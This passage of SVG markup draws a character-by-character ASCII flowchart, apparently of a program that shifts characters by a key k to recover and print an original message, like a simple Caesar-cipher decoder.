<text text-anchor='middle' x='120' y='372' fill='currentColor' style='font-size:1em'>k</text>
<text text-anchor='middle' x='120' y='388' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='128' y='4' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='128' y='20' fill='currentColor' style='font-size:1em'>e</text>
<text text-anchor='middle' x='128' y='36' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='128' y='52' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='128' y='68' fill='currentColor' style='font-size:1em'>e</text>
<text text-anchor='middle' x='128' y='84' fill='currentColor' style='font-size:1em'>h</text>
<text text-anchor='middle' x='128' y='100' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='128' y='116' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='128' y='132' fill='currentColor' style='font-size:1em'>o</text>
<text text-anchor='middle' x='128' y='148' fill='currentColor' style='font-size:1em'>e</text>
<text text-anchor='middle' x='128' y='164' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='128' y='180' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='128' y='196' fill='currentColor' style='font-size:1em'>o</text>
<text text-anchor='middle' x='128' y='212' fill='currentColor' style='font-size:1em'>a</text>
<text text-anchor='middle' x='128' y='228' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='128' y='244' fill='currentColor' style='font-size:1em'>_</text>
<text text-anchor='middle' x='128' y='276' fill='currentColor' style='font-size:1em'>n</text>
<text text-anchor='middle' x='128' y='308' fill='currentColor' style='font-size:1em'>_</text>
<text text-anchor='middle' x='128' y='340' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='128' y='356' fill='currentColor' style='font-size:1em'>t</text>
<text text-anchor='middle' x='128' y='372' fill='currentColor' style='font-size:1em'>+</text>
<text text-anchor='middle' x='128' y='388' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='136' y='4' fill='currentColor' style='font-size:1em'>┐</text>
<text text-anchor='middle' x='136' y='20' fill='currentColor' style='font-size:1em'>│</text>
<text text-anchor='middle' x='136' y='36' fill='currentColor' style='font-size:1em'>┘</text>
<text text-anchor='middle' x='136' y='52' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='136' y='68' fill='currentColor' style='font-size:1em'>d</text>
<text text-anchor='middle' x='136' y='84' fill='currentColor' style='font-size:1em'>e</text>
<text text-anchor='middle' x='136' y='100' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='136' y='116' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='136' y='132' fill='currentColor' style='font-size:1em'>u</text>
<text text-anchor='middle' x='136' y='148' fill='currentColor' style='font-size:1em'>r</text>
<text text-anchor='middle' x='136' y='164' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='136' y='180' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='136' y='196' fill='currentColor' style='font-size:1em'>r</text>
<text text-anchor='middle' x='136' y='228' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='136' y='244' fill='currentColor' style='font-size:1em'>_</text>
<text text-anchor='middle' x='136' y='292' fill='currentColor' style='font-size:1em'>i</text>
<text text-anchor='middle' x='136' y='308' fill='currentColor' style='font-size:1em'>_</text>
<text text-anchor='middle' x='136' y='340' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='136' y='356' fill='currentColor' style='font-size:1em'>e</text>
<text text-anchor='middle' x='136' y='372' fill='currentColor' style='font-size:1em'>1</text>
<text text-anchor='middle' x='136' y='388' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='144' y='52' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='144' y='84' fill='currentColor' style='font-size:1em'>x</text>
<text text-anchor='middle' x='144' y='100' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='144' y='116' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='144' y='132' fill='currentColor' style='font-size:1em'>g</text>
<text text-anchor='middle' x='144' y='148' fill='currentColor' style='font-size:1em'>s</text>
<text text-anchor='middle' x='144' y='164' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='144' y='180' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='144' y='196' fill='currentColor' style='font-size:1em'>d</text>
<text text-anchor='middle' x='144' y='228' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='144' y='244' fill='currentColor' style='font-size:1em'>_</text>
<text text-anchor='middle' x='144' y='292' fill='currentColor' style='font-size:1em'>n</text>
<text text-anchor='middle' x='144' y='308' fill='currentColor' style='font-size:1em'>_</text>
<text text-anchor='middle' x='144' y='340' fill='currentColor' style='font-size:1em'>┐</text>
<text text-anchor='middle' x='144' y='356' fill='currentColor' style='font-size:1em'>│</text>
<text text-anchor='middle' x='144' y='372' fill='currentColor' style='font-size:1em'>│</text>
<text text-anchor='middle' x='144' y='388' fill='currentColor' style='font-size:1em'>┘</text>
<text text-anchor='middle' x='152' y='52' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='152' y='84' fill='currentColor' style='font-size:1em'>)</text>
<text text-anchor='middle' x='152' y='100' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='152' y='116' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='152' y='132' fill='currentColor' style='font-size:1em'>h</text>
<text text-anchor='middle' x='152' y='164' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='152' y='180' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='152' y='196' fill='currentColor' style='font-size:1em'>i</text>
<text text-anchor='middle' x='152' y='228' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='152' y='244' fill='currentColor' style='font-size:1em'>_</text>
<text text-anchor='middle' x='152' y='292' fill='currentColor' style='font-size:1em'>t</text>
<text text-anchor='middle' x='152' y='308' fill='currentColor' style='font-size:1em'>_</text>
<text text-anchor='middle' x='160' y='52' fill='currentColor' style='font-size:1em'>┐</text>
<text text-anchor='middle' x='160' y='68' fill='currentColor' style='font-size:1em'>│</text>
<text text-anchor='middle' x='160' y='84' fill='currentColor' style='font-size:1em'>│</text>
<text text-anchor='middle' x='160' y='100' fill='currentColor' style='font-size:1em'>┘</text>
<text text-anchor='middle' x='160' y='116' fill='currentColor' style='font-size:1em'>┐</text>
<text text-anchor='middle' x='160' y='132' fill='currentColor' style='font-size:1em'>│</text>
<text text-anchor='middle' x='160' y='148' fill='currentColor' style='font-size:1em'>│</text>
<text text-anchor='middle' x='160' y='164' fill='currentColor' style='font-size:1em'>┘</text>
<text text-anchor='middle' x='160' y='180' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='160' y='196' fill='currentColor' style='font-size:1em'>n</text>
<text text-anchor='middle' x='160' y='228' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='160' y='244' fill='currentColor' style='font-size:1em'>_</text>
<text text-anchor='middle' x='160' y='292' fill='currentColor' style='font-size:1em'>e</text>
<text text-anchor='middle' x='160' y='308' fill='currentColor' style='font-size:1em'>_</text>
<text text-anchor='middle' x='168' y='180' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='168' y='196' fill='currentColor' style='font-size:1em'>g</text>
<text text-anchor='middle' x='168' y='228' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='168' y='244' fill='currentColor' style='font-size:1em'>_</text>
<text text-anchor='middle' x='168' y='292' fill='currentColor' style='font-size:1em'>g</text>
<text text-anchor='middle' x='168' y='308' fill='currentColor' style='font-size:1em'>_</text>
<text text-anchor='middle' x='176' y='180' fill='currentColor' style='font-size:1em'>┐</text>
<text text-anchor='middle' x='176' y='196' fill='currentColor' style='font-size:1em'>│</text>
<text text-anchor='middle' x='176' y='212' fill='currentColor' style='font-size:1em'>│</text>
<text text-anchor='middle' x='176' y='228' fill='currentColor' style='font-size:1em'>┘</text>
<text text-anchor='middle' x='176' y='244' fill='currentColor' style='font-size:1em'>_</text>
<text text-anchor='middle' x='176' y='292' fill='currentColor' style='font-size:1em'>e</text>
<text text-anchor='middle' x='176' y='308' fill='currentColor' style='font-size:1em'>_</text>
<text text-anchor='middle' x='184' y='244' fill='currentColor' style='font-size:1em'>_</text>
<text text-anchor='middle' x='184' y='292' fill='currentColor' style='font-size:1em'>r</text>
<text text-anchor='middle' x='184' y='308' fill='currentColor' style='font-size:1em'>_</text>
<path d='M 188,248 L 196,264' fill='none' stroke='currentColor'></path>
<path d='M 188,312 L 196,296' fill='none' stroke='currentColor'></path>
<path d='M 196,264 L 204,280' fill='none' stroke='currentColor'></path>
<path d='M 196,296 L 204,280' fill='none' stroke='currentColor'></path>
<text text-anchor='middle' x='208' y='276' fill='currentColor' style='font-size:1em'>_</text>
<text text-anchor='middle' x='208' y='292' fill='currentColor' style='font-size:1em'>y</text>
<text text-anchor='middle' x='216' y='276' fill='currentColor' style='font-size:1em'>_</text>
<text text-anchor='middle' x='216' y='292' fill='currentColor' style='font-size:1em'>e</text>
<text text-anchor='middle' x='224' y='276' fill='currentColor' style='font-size:1em'>_</text>
<text text-anchor='middle' x='224' y='292' fill='currentColor' style='font-size:1em'>s</text>
<text text-anchor='middle' x='232' y='276' fill='currentColor' style='font-size:1em'>_</text>
<text text-anchor='middle' x='232' y='308' fill='currentColor' style='font-size:1em'>┌</text>
<text text-anchor='middle' x='232' y='324' fill='currentColor' style='font-size:1em'>│</text>
<text text-anchor='middle' x='232' y='340' fill='currentColor' style='font-size:1em'>│</text>
<text text-anchor='middle' x='232' y='356' fill='currentColor' style='font-size:1em'>└</text>
<text text-anchor='middle' x='232' y='372' fill='currentColor' style='font-size:1em'>┌</text>
<text text-anchor='middle' x='232' y='388' fill='currentColor' style='font-size:1em'>│</text>
<text text-anchor='middle' x='232' y='404' fill='currentColor' style='font-size:1em'>│</text>
<text text-anchor='middle' x='232' y='420' fill='currentColor' style='font-size:1em'>└</text>
<text text-anchor='middle' x='240' y='276' fill='currentColor' style='font-size:1em'>_</text>
<text text-anchor='middle' x='240' y='308' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='240' y='324' fill='currentColor' style='font-size:1em'>i</text>
<text text-anchor='middle' x='240' y='340' fill='currentColor' style='font-size:1em'>c</text>
<text text-anchor='middle' x='240' y='356' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='240' y='372' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='240' y='388' fill='currentColor' style='font-size:1em'>c</text>
<text text-anchor='middle' x='240' y='404' fill='currentColor' style='font-size:1em'>o</text>
<text text-anchor='middle' x='240' y='420' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='240' y='436' fill='currentColor' style='font-size:1em'>┌</text>
<text text-anchor='middle' x='240' y='452' fill='currentColor' style='font-size:1em'>│</text>
<text text-anchor='middle' x='240' y='468' fill='currentColor' style='font-size:1em'>│</text>
<text text-anchor='middle' x='240' y='484' fill='currentColor' style='font-size:1em'>└</text>
<text text-anchor='middle' x='248' y='276' fill='currentColor' style='font-size:1em'>_</text>
<text text-anchor='middle' x='248' y='308' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='248' y='324' fill='currentColor' style='font-size:1em'>t</text>
<text text-anchor='middle' x='248' y='340' fill='currentColor' style='font-size:1em'>h</text>
<text text-anchor='middle' x='248' y='356' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='248' y='372' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='248' y='388' fill='currentColor' style='font-size:1em'>a</text>
<text text-anchor='middle' x='248' y='404' fill='currentColor' style='font-size:1em'>r</text>
<text text-anchor='middle' x='248' y='420' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='248' y='436' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='248' y='452' fill='currentColor' style='font-size:1em'>p</text>
<text text-anchor='middle' x='248' y='468' fill='currentColor' style='font-size:1em'>o</text>
<text text-anchor='middle' x='248' y='484' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='256' y='244' fill='currentColor' style='font-size:1em'>┌</text>
<text text-anchor='middle' x='256' y='260' fill='currentColor' style='font-size:1em'>│</text>
<text text-anchor='middle' x='256' y='276' fill='currentColor' style='font-size:1em'>│</text>
<text text-anchor='middle' x='256' y='292' fill='currentColor' style='font-size:1em'>└</text>
<text text-anchor='middle' x='256' y='308' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='256' y='324' fill='currentColor' style='font-size:1em'>e</text>
<text text-anchor='middle' x='256' y='340' fill='currentColor' style='font-size:1em'>a</text>
<text text-anchor='middle' x='256' y='356' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='256' y='372' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='256' y='388' fill='currentColor' style='font-size:1em'>l</text>
<text text-anchor='middle' x='256' y='404' fill='currentColor' style='font-size:1em'>i</text>
<text text-anchor='middle' x='256' y='420' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='256' y='436' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='256' y='452' fill='currentColor' style='font-size:1em'>r</text>
<text text-anchor='middle' x='256' y='468' fill='currentColor' style='font-size:1em'>r</text>
<text text-anchor='middle' x='256' y='484' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='264' y='244' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='264' y='260' fill='currentColor' style='font-size:1em'>r</text>
<text text-anchor='middle' x='264' y='276' fill='currentColor' style='font-size:1em'>v</text>
<text text-anchor='middle' x='264' y='292' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='264' y='308' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='264' y='324' fill='currentColor' style='font-size:1em'>r</text>
<text text-anchor='middle' x='264' y='340' fill='currentColor' style='font-size:1em'>r</text>
<text text-anchor='middle' x='264' y='356' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='264' y='372' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='264' y='388' fill='currentColor' style='font-size:1em'>c</text>
<text text-anchor='middle' x='264' y='404' fill='currentColor' style='font-size:1em'>g</text>
<text text-anchor='middle' x='264' y='420' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='264' y='436' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='264' y='452' fill='currentColor' style='font-size:1em'>i</text>
<text text-anchor='middle' x='264' y='468' fill='currentColor' style='font-size:1em'>i</text>
<text text-anchor='middle' x='264' y='484' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='272' y='244' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='272' y='260' fill='currentColor' style='font-size:1em'>e</text>
<text text-anchor='middle' x='272' y='276' fill='currentColor' style='font-size:1em'>a</text>
<text text-anchor='middle' x='272' y='292' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='272' y='308' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='272' y='324' fill='currentColor' style='font-size:1em'>a</text>
<text text-anchor='middle' x='272' y='340' fill='currentColor' style='font-size:1em'>a</text>
<text text-anchor='middle' x='272' y='356' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='272' y='372' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='272' y='388' fill='currentColor' style='font-size:1em'>u</text>
<text text-anchor='middle' x='272' y='404' fill='currentColor' style='font-size:1em'>i</text>
<text text-anchor='middle' x='272' y='420' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='272' y='436' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='272' y='452' fill='currentColor' style='font-size:1em'>n</text>
<text text-anchor='middle' x='272' y='468' fill='currentColor' style='font-size:1em'>g</text>
<text text-anchor='middle' x='272' y='484' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='280' y='244' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='280' y='260' fill='currentColor' style='font-size:1em'>m</text>
<text text-anchor='middle' x='280' y='276' fill='currentColor' style='font-size:1em'>l</text>
<text text-anchor='middle' x='280' y='292' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='280' y='308' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='280' y='324' fill='currentColor' style='font-size:1em'>t</text>
<text text-anchor='middle' x='280' y='340' fill='currentColor' style='font-size:1em'>c</text>
<text text-anchor='middle' x='280' y='356' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='280' y='372' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='280' y='388' fill='currentColor' style='font-size:1em'>l</text>
<text text-anchor='middle' x='280' y='404' fill='currentColor' style='font-size:1em'>n</text>
<text text-anchor='middle' x='280' y='420' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='280' y='436' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='280' y='452' fill='currentColor' style='font-size:1em'>t</text>
<text text-anchor='middle' x='280' y='468' fill='currentColor' style='font-size:1em'>i</text>
<text text-anchor='middle' x='280' y='484' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='288' y='244' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='288' y='260' fill='currentColor' style='font-size:1em'>e</text>
<text text-anchor='middle' x='288' y='276' fill='currentColor' style='font-size:1em'>u</text>
<text text-anchor='middle' x='288' y='292' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='288' y='308' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='288' y='324' fill='currentColor' style='font-size:1em'>e</text>
<text text-anchor='middle' x='288' y='340' fill='currentColor' style='font-size:1em'>t</text>
<text text-anchor='middle' x='288' y='356' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='288' y='372' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='288' y='388' fill='currentColor' style='font-size:1em'>a</text>
<text text-anchor='middle' x='288' y='404' fill='currentColor' style='font-size:1em'>a</text>
<text text-anchor='middle' x='288' y='420' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='288' y='436' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='288' y='468' fill='currentColor' style='font-size:1em'>n</text>
<text text-anchor='middle' x='288' y='484' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='296' y='244' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='296' y='260' fill='currentColor' style='font-size:1em'>m</text>
<text text-anchor='middle' x='296' y='276' fill='currentColor' style='font-size:1em'>e</text>
<text text-anchor='middle' x='296' y='292' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='296' y='308' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='296' y='340' fill='currentColor' style='font-size:1em'>e</text>
<text text-anchor='middle' x='296' y='356' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='296' y='372' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='296' y='388' fill='currentColor' style='font-size:1em'>t</text>
<text text-anchor='middle' x='296' y='404' fill='currentColor' style='font-size:1em'>l</text>
<text text-anchor='middle' x='296' y='420' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='296' y='436' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='296' y='452' fill='currentColor' style='font-size:1em'>t</text>
<text text-anchor='middle' x='296' y='468' fill='currentColor' style='font-size:1em'>a</text>
<text text-anchor='middle' x='296' y='484' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='304' y='244' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='304' y='260' fill='currentColor' style='font-size:1em'>b</text>
<text text-anchor='middle' x='304' y='292' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='304' y='308' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='304' y='324' fill='currentColor' style='font-size:1em'>t</text>
<text text-anchor='middle' x='304' y='340' fill='currentColor' style='font-size:1em'>r</text>
<text text-anchor='middle' x='304' y='356' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='304' y='372' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='304' y='388' fill='currentColor' style='font-size:1em'>e</text>
<text text-anchor='middle' x='304' y='420' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='304' y='436' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='304' y='452' fill='currentColor' style='font-size:1em'>h</text>
<text text-anchor='middle' x='304' y='468' fill='currentColor' style='font-size:1em'>l</text>
<text text-anchor='middle' x='304' y='484' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='312' y='244' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='312' y='260' fill='currentColor' style='font-size:1em'>e</text>
<text text-anchor='middle' x='312' y='276' fill='currentColor' style='font-size:1em'>o</text>
<text text-anchor='middle' x='312' y='292' fill='currentColor' style='font-size:1em'>┬</text>
<text text-anchor='middle' x='312' y='308' fill='currentColor' style='font-size:1em'>▽</text>
<text text-anchor='middle' x='312' y='324' fill='currentColor' style='font-size:1em'>h</text>
<text text-anchor='middle' x='312' y='356' fill='currentColor' style='font-size:1em'>┬</text>
<text text-anchor='middle' x='312' y='372' fill='currentColor' style='font-size:1em'>▽</text>
<text text-anchor='middle' x='312' y='404' fill='currentColor' style='font-size:1em'>c</text>
<text text-anchor='middle' x='312' y='420' fill='currentColor' style='font-size:1em'>┬</text>
<text text-anchor='middle' x='312' y='436' fill='currentColor' style='font-size:1em'>▽</text>
<text text-anchor='middle' x='312' y='452' fill='currentColor' style='font-size:1em'>e</text>
<text text-anchor='middle' x='312' y='484' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='320' y='244' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='320' y='260' fill='currentColor' style='font-size:1em'>r</text>
<text text-anchor='middle' x='320' y='276' fill='currentColor' style='font-size:1em'>f</text>
<text text-anchor='middle' x='320' y='292' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='320' y='308' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='320' y='324' fill='currentColor' style='font-size:1em'>r</text>
<text text-anchor='middle' x='320' y='340' fill='currentColor' style='font-size:1em'>(</text>
<text text-anchor='middle' x='320' y='356' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='320' y='372' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='320' y='388' fill='currentColor' style='font-size:1em'>t</text>
<text text-anchor='middle' x='320' y='404' fill='currentColor' style='font-size:1em'>h</text>
<text text-anchor='middle' x='320' y='420' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='320' y='436' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='320' y='468' fill='currentColor' style='font-size:1em'>m</text>
<text text-anchor='middle' x='320' y='484' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='328' y='244' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='328' y='292' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='328' y='308' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='328' y='324' fill='currentColor' style='font-size:1em'>o</text>
<text text-anchor='middle' x='328' y='340' fill='currentColor' style='font-size:1em'>a</text>
<text text-anchor='middle' x='328' y='356' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='328' y='372' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='328' y='388' fill='currentColor' style='font-size:1em'>h</text>
<text text-anchor='middle' x='328' y='404' fill='currentColor' style='font-size:1em'>a</text>
<text text-anchor='middle' x='328' y='420' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='328' y='436' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='328' y='468' fill='currentColor' style='font-size:1em'>e</text>
<text text-anchor='middle' x='328' y='484' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='336' y='244' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='336' y='260' fill='currentColor' style='font-size:1em'>t</text>
<text text-anchor='middle' x='336' y='276' fill='currentColor' style='font-size:1em'>k</text>
<text text-anchor='middle' x='336' y='292' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='336' y='308' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='336' y='324' fill='currentColor' style='font-size:1em'>u</text>
<text text-anchor='middle' x='336' y='340' fill='currentColor' style='font-size:1em'>g</text>
<text text-anchor='middle' x='336' y='356' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='336' y='372' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='336' y='388' fill='currentColor' style='font-size:1em'>e</text>
<text text-anchor='middle' x='336' y='404' fill='currentColor' style='font-size:1em'>r</text>
<text text-anchor='middle' x='336' y='420' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='336' y='436' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='336' y='468' fill='currentColor' style='font-size:1em'>s</text>
<text text-anchor='middle' x='336' y='484' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='344' y='244' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='344' y='260' fill='currentColor' style='font-size:1em'>h</text>
<text text-anchor='middle' x='344' y='292' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='344' y='308' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='344' y='324' fill='currentColor' style='font-size:1em'>g</text>
<text text-anchor='middle' x='344' y='340' fill='currentColor' style='font-size:1em'>a</text>
<text text-anchor='middle' x='344' y='356' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='344' y='372' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='344' y='404' fill='currentColor' style='font-size:1em'>a</text>
<text text-anchor='middle' x='344' y='420' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='344' y='436' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='344' y='468' fill='currentColor' style='font-size:1em'>s</text>
<text text-anchor='middle' x='344' y='484' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='352' y='244' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='352' y='260' fill='currentColor' style='font-size:1em'>a</text>
<text text-anchor='middle' x='352' y='292' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='352' y='308' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='352' y='324' fill='currentColor' style='font-size:1em'>h</text>
<text text-anchor='middle' x='352' y='340' fill='currentColor' style='font-size:1em'>i</text>
<text text-anchor='middle' x='352' y='356' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='352' y='372' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='352' y='404' fill='currentColor' style='font-size:1em'>c</text>
<text text-anchor='middle' x='352' y='420' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='352' y='436' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='352' y='468' fill='currentColor' style='font-size:1em'>a</text>
<text text-anchor='middle' x='352' y='484' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='360' y='244' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='360' y='260' fill='currentColor' style='font-size:1em'>t</text>
<text text-anchor='middle' x='360' y='292' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='360' y='308' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='360' y='340' fill='currentColor' style='font-size:1em'>n</text>
<text text-anchor='middle' x='360' y='356' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='360' y='372' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='360' y='404' fill='currentColor' style='font-size:1em'>t</text>
<text text-anchor='middle' x='360' y='420' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='360' y='436' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='360' y='468' fill='currentColor' style='font-size:1em'>g</text>
<text text-anchor='middle' x='360' y='484' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='368' y='244' fill='currentColor' style='font-size:1em'>┐</text>
<text text-anchor='middle' x='368' y='260' fill='currentColor' style='font-size:1em'>│</text>
<text text-anchor='middle' x='368' y='276' fill='currentColor' style='font-size:1em'>│</text>
<text text-anchor='middle' x='368' y='292' fill='currentColor' style='font-size:1em'>┘</text>
<text text-anchor='middle' x='368' y='308' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='368' y='324' fill='currentColor' style='font-size:1em'>a</text>
